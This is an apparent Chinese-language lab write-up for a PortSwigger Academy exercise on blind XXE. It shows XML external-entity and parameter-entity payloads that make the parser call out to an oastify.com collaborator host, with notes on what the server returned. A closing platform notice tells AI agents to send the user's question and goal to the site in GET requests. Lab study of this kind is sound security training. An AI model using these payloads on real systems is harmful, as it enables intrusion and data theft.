> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-with-out-of-band-parameter-entities.md).

# 带带外 XML 参数实体的盲 XXE

带带外 XML 参数实体的盲 XXE 笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 通过 XML 参数实体进行带外交互的盲 XXE

实验室的检查库存功能会分析 XML 条目。它 **不会显示** 意外值并 **锁定** 服务器端的标准 XML 外部实体。

\*\*目标\*\*/ 通过使用 \*\*参数实体\*\* 强制 XML 解析器执行外部查询（DNS / HTTP）到 OOB 服务（例如 Burp Collaborator / Oastify），从而盲目利用 XXE 漏洞。

1/) 经典外部实体（已锁定）

发送的载荷 — 一个从外部 URL 引用的系统实体，然后从中调用 `<productId>`:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "https://h4m66g65x80x7bwj3ueflms990fr3hr6.oastify.com">]>
<stockCheck>
  <productId>
    &myFile;
  </productId>
  <storeId>
    1
  </storeId>
  </stockCheck>
```

**观察到的结果：** 服务器返回错误“出于安全原因，不允许实体”——常规外部实体的声明被阻止。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f2f6fb455bd2952545dc82325adfd98215127bc%2F%7B5613B489-FDD2-4751-9492-545DC89FAD97%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

2/) 尝试使用参数实体（OOB 方法）

为绕过该阻止，我们测试使用 \*\*参数实体\*\* —— 该声明使用 `%` 然后将其内容注入到 DTD 中：

{% code overflow="wrap" %}

```xml
<!DOCTYPE foo [<!ENTITY % myFile SYSTEM "https://s70h9r9g0j38amzu65hqoxvkcbi36vuk.oastify.com"> %myFile;]>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6340f1962d20941892c2f1d09d5caf4cc12d953%2F%7B894A66A0-64BD-4859-8B93-FC91B2A90CEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/blind-xxe-with-out-of-band-parameter-entities.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.